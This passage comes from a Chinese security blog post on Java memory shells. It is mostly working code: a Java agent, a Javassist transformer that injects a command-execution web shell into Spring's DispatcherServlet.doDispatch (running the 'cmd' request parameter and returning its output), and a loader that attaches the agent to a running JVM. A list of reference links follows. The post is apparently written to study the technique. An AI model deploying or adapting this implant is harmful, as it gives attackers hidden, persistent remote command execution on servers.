jvm.loadAgent(agentJarPath);
System.out.println("Agent loaded to PID: " + vm.id());
return;
}
}
System.out.println("Process not found");
}
}

Spring

Spring 中我们选择 Hook 的是 org.springframework.web.servlet.DispatcherServlet#doDispatch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

public class AgentMainTest {
public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException {
inst.addTransformer(new MyTransformer(), true);
for (Class clazz : inst.getAllLoadedClasses()) {
if (clazz.getName().equals("org.springframework.web.servlet.DispatcherServlet")){
inst.retransformClasses(clazz);
}
}
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.LoaderClassPath;

import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;

public class MyTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className,
Class<?> classBeingRedefined,
ProtectionDomain protectionDomain,
byte[] classfileBuffer) {
if ("org/springframework/web/servlet/DispatcherServlet".equals(className)) {
try {
ClassPool cp = ClassPool.getDefault();
if (loader != null) {
cp.insertClassPath(new LoaderClassPath(loader));
}
CtClass cc = cp.get("org.springframework.web.servlet.DispatcherServlet");
CtMethod method = cc.getDeclaredMethod("doDispatch");
String code = "javax.servlet.http.HttpServletRequest req = $1;" +
"javax.servlet.http.HttpServletResponse resp = $2;" +
"String cmd = req.getParameter(\"cmd\");" +
"if (cmd != null && !cmd.trim().isEmpty()) {" +
" try {" +
" java.lang.Process p = java.lang.Runtime.getRuntime().exec(cmd);" +
" java.io.BufferedReader reader = new java.io.BufferedReader(" +
" new java.io.InputStreamReader(p.getInputStream()));" +
" StringBuilder output = new StringBuilder();" +
" String line;" +
" while ((line = reader.readLine()) != null) {" +
" output.append(line).append(\"\\n\");" +
" }" +
" resp.getWriter().write(output.toString());" +
" resp.getWriter().flush();" +
" return;" +
" } catch (Exception e) {}" +
"}";
method.insertBefore(code);
byte[] result = cc.toBytecode();
cc.detach();
return result;

} catch (Exception e) {
e.printStackTrace();
}
}
return null;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

public class AgentLoader {
public static void main(String[] args) throws Exception {
String agentJarPath = "D:\\Code\\JavaSec\\MemShell\\Agent_Demo\\target\\Agent_Demo-1.0-SNAPSHOT-jar-with-dependencies.jar";
String targetProcessName = "com.controller.ControllerApplication";

for (VirtualMachineDescriptor vm : VirtualMachine.list()) {
if (vm.displayName().contains(targetProcessName)) {
VirtualMachine jvm = VirtualMachine.attach(vm.id());
jvm.loadAgent(agentJarPath);
System.out.println("Agent loaded to PID: " + vm.id());
return;
}
}
System.out.println("Process not found");
}
}

Reference

JavaWeb 内存马一周目通关攻略 | 素十八

JavaWeb 内存马二周目通关攻略 | 素十八

Shell中的幽灵王者—JAVAWEB 内存马 【认知篇】

【Java安全】内存马专题之Servlet马_哔哩哔哩_bilibili

java内存马专题1-servlet内存马_哔哩哔哩_bilibili

从零掌握java内存马大全(基于LearnJavaMemshellFromZero复现重组)-先知社区

Tomcat 架构原理解析到架构设计借鉴_牛客博客

Tomcat-Servlet型内存马 - Longlone’s Blog

Tomcat中容器的pipeline机制 - coldridgeValley - 博客园

Java Instrumentation | 素十八

可能是B站最细的Java内存马课程(免费开源)_哔哩哔哩_bilibili

基于javaAgent内存马检测查杀指南

Java agent注入技术初探 - 郑瀚 - 博客园

  • Title: Java 内存马
  • Author: exp3n5ive
  • Created at : 2025-09-22 07:55:25
  • Updated at : 2025-09-24 15:16:40
  • Link: https://exp3n5ive.github.io/2025/09/22/Java 内存马/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments